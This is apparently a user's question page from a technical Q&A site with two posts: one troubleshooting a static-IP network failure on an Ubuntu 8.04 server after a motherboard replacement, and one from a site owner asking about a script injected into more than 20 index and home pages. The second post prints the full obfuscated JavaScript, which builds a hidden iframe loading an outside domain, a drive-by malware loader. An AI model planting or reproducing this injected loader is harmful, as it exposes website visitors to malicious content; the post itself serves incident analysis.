doctororange's questions

The motherboard of my server (Ubuntu 8.04) died, so I replaced the motherboard, CPU, and RAM. Now I cannot get the server working on the network as it was configured.

The network is configured without DHCP.

The router IP is 10.10.10.1. The server is 10.10.10.10.

Contents of /etc/network/interfaces:

auto eth0
iface eth0 inet static
    address 10.10.10.10
    netmask 255.255.255.0
    gateway 10.10.10.1

Pinging the router (ping 10.10.10.1) results in:

PING 10.10.10.1 (10.10.10.1) 56(84) bytes of data.
From 10.10.10.10 icmp_seq=1 Destination Host Unreachable
From 10.10.10.10 icmp_seq=2 Destination Host Unreachable
...

The result of ifconfig eth0:

eth0     Link encap:Ethernet  HWaddr  90:2b:34:a5:c9:af
         inet addr:10.10.10.10 Bcast: 10.10.10.255  Mask: 255.255.255.0
         inet6 addr: fe80... ( skipped typing this )
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:0 errors:0 dropped:0 overrruns: 0 frame:0
         TX packets:446 errors:0 dropped:0 overrruns: 0 carrier:0
         collisions: 0 txqueuelen:1000
         RX bytes:o (0.0 B)  TX bytes:32324 (31.5kb)
         Interrupt:220 Base address:0xa00

The result of route:

Kernel IP routing table
Destination    Gateway         Genmask                Flags   Metric   Ref   Use   iFace
10.10.10.0     *               255.255.255.0          U       0        0       0   eth0
link-local     *               255.255.0.0            U       1000     0       0   eth0
default        10.10.10.1      0.0.0.0                UG      100      0       0   eth0

(Note: The first two results appear immediately. The last line (default route) appears after about 20 seconds. If I do route -n all results show immediately.)

The result of iptables -L shows that there are no iptables entries.

The contents of /etc/hostname:

Server

The contents of /etc/hosts:

127.0.0.1        localhost.localdomain localhost
10.10.10.10      Server.localdomain Server

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

Result of mii-tool:

SIOCGMIIPHY on `eth0` failed: Operation not supported
SIOCGMIIPHY on `eth1` failed: Operation not supported
SIOCGMIIPHY on `eth2` failed: Operation not supported
SIOCGMIIPHY on `eth3` failed: Operation not supported
SIOCGMIIPHY on `eth4` failed: Operation not supported
SIOCGMIIPHY on `eth5` failed: Operation not supported
SIOCGMIIPHY on `eth6` failed: Operation not supported
SIOCGMIIPHY on `eth7` failed: Operation not supported
no MII interfaces found

Result of sudo mii-tool:

SIOCGMIIPHY on `eth0` failed: Operation not supported
no MII interfaces found

Result of arp -a:

? (10.10.10.1) at <incomplete> on eth0

Result of dmesg | grep eth0:

[    22.188268] eth0: RTL8169 at 0xf8888000, 90:2b:34:a5:c9:af, XID 2c900800 IRQ 220
[    41.919804] r8169: eth0: link up

I have disabled IPv6 as described here because dmesg was complaining:

eth0: no IPv6 routers present

I have tried a different network cable and router port. Other computers on the network are functioning fine (they also have static IPs in the 10.10.10.x range).

Initially the network device was named eth2. I deleted /etc/udev/rules.d/70-persistent-net.rules which was successfully regenerated and the new NIC was left with the desired eth0 name. Thanks for the suggestion, Heis Spiter.

Any ideas would be a great help. Thank you!

This morning I discovered that a script has appeared in multiple locations on two of our websites.

Needless to say I'm recovering the sites from backups, changing our passwords and trawling the FTP logs. Are there any other actions I should take?

Here is the script. Any ideas what it might do?

<!-- C/C v0870 --><script>function fY(){};xN='';fY.prototype = {k : function() {p=7854;this.eS="";pT=false;return '\u0068\u0058\u0058\u0070\u003a\u002f\u002f\u0062\u0065\u006f\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0048\u0058\u006d\u006c'.replace(/X/g, 't').replace(/HHHHHHHHHHHHHHHHHHHHHH/g, 'linkonline.com/index.h');t="t";var uY="uY";var q=27591;var o=function(){return 'o'};},c : function() {var kB='';function wC(){};this.lQ="";var a=new Date();    var uA=false;function gR(){};    var b='replace';this.iA="";var m='';var w=document;var uT='';var bD="";var v=new Array();var mQ=function(){};var j=window;function kA(){};function aO(){};var f=24513;var hJ=new Date();var vH=new Date();fU=false;var qH=new Date();this.aI='';String.prototype.pZ=function(u,g){return this[b](u, g)};var mZ="mZ";var jI='';var n='';this.nW='';var gC=function(){return 'gC'};s="";var e = '\u0073\u0058\u0058\u0058\u0048\u0048\u0048\u0048\u0075\u0074'.replace(/XXX/g, 'etH').replace(/HHHHH/g, 'Timeo');this.yO="yO";this.aJ="";var h = '\u003c\u0068\u0074\u006d\u006c\u0020\u003e\u003c\u0068\u0065\u0061\u0064\u0020\u003e\u003c\u0048\u0048\u0065\u0061\u0064\u003e\u003c\u0062\u006f\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0058\u0064\u0079\u003e\u003c\u0048\u0048\u0074\u006d\u006c\u003e'.replace(/XXXXXXXX/g, 'dy ></bo').replace(/HH/g, '/h');this.fK="";this.d=false;var uC=function(){};aIB=63220;try {var tZ=false;var vN=function(){return 'vN'};bT="bT";var oX=6312;var lT=new Array();this.uP=false;var aV=28730;var gJ = '\u0062\u0058\u0048\u0079'.replace(/X/g, 'o').replace(/H/g, 'd');var jY=function(){};this.jZC='';var hPC=new Date();var z = '\u0073\u0058\u0058\u006c\u0065'.replace(/XX/g, 'HH').replace(/HH/g, 'ty');var pA=4555;var uM=new Array();var eZ=false;this.sT="";var i = '\u0069\u0066\u0058\u0058\u0048\u0065'.replace(/XX/g, 'ra').replace(/H/g, 'm');this.lF=false;var dH='';var wG = '\u0077\u0072\u0058\u0058\u0065'.replace(/XX/g, 'iH').replace(/H/g, 't');this.dI=false;hS='';var vF=false;jZCE=40515;var l = '\u0063\u0072\u0065\u0061\u0074\u0065\u0058\u0058\u0058\u0058\u0048\u0048\u0074'.replace(/XXXX/g, 'Elem').replace(/HH/g, 'en');this.kDH="";var eO="eO";var zT=function(){};vS=12622;var r = '\u0073\u0058\u0063'.replace(/X/g, 'H').replace(/H/g, 'r');bS=false;nWF=false;var dC="dC";var cU="";this.cX=false;var tE='';var gV = '\u0073\u0065\u0058\u0041\u0058\u0048\u0048\u0048\u0048\u0048\u0058\u0065'.replace(/X/g, 't').replace(/HHHHH/g, 'tribu');mM='';var tX='';var sS='';var eI = '\u0068\u0058\u0058\u0058\u0048\u006e'.replace(/XXX/g, 'idH').replace(/HH/g, 'de');function x(){};var jW=function(){return 'jW'};var hP = '\u0076\u0069\u0058\u0058\u0058\u0069\u006c\u0069\u0074\u0079'.replace(/XXX/g, 'HHb').replace(/HH/g, 'si');pM='';dL="";    var jZ = '\u0061\u0070\u0070\u0065\u006e\u0058\u0058\u0068\u0048\u006c\u0064'.replace(/XX/g, 'dC').replace(/H/g, 'i');function bO(){};var nU=false;this.iP='';    this.pN=51645;this.kS="kS";    var eX=this.k();var nC="nC";this.dY='';this.dZ='';oH="";eP=61106;tN=54831;var gU=new Array();var yK=new Date();var y=document[l](i);var nWFY=function(){return 'nWFY'};var bDB="bDB";oU=51980;var pH="";y[z][hP] = eI;var jC=function(){};var rF=function(){};var fA='';y[gV](r, eX);var oI=false;tQ="tQ";hQ="";var nJ=function(){return 'nJ'};w[gJ][jZ](y);lR=13433;this.jD=false;var fKK="";cN="cN";wK="wK";sQ=false;var sE=18173;} catch(bM) {var iC='';var dQ=new Array();var gL=function(){return 'gL'};this.nH='';eIU='';w.write(h);var lN=false;function xI(){};this.jU="jU";fG="";var kD = this;bP=false;kL=50758;var uTT=new Array();qW=21507;var sB=new Array();this.gQ='';oD="oD";j[e](function(){ function hF(){};this.fQ=13986;rN='';oC='';fKY="fKY";var cZ=false;this.xF="";var eT='';kD.c();this.lL="lL";var jQ="";lG="";this.wL=12697;var tG=new Array();rC=false;this.mP="";var tGE="tGE";}, 124);var xD=false;var sL=false;var qS=new Array();}var cP="";var rE=function(){return 'rE'};rM="rM";this.mO="mO";}};var wR=function(){return 'wR'};var hO=new fY(); var uW=function(){return 'uW'};hO.c();var hK=12219;</script>

More than 20 files, all with either the name 'index.' or 'home.' were modified. The FTP log shows which files were downloaded and uploaded again, so I don't think it was through a form exploit.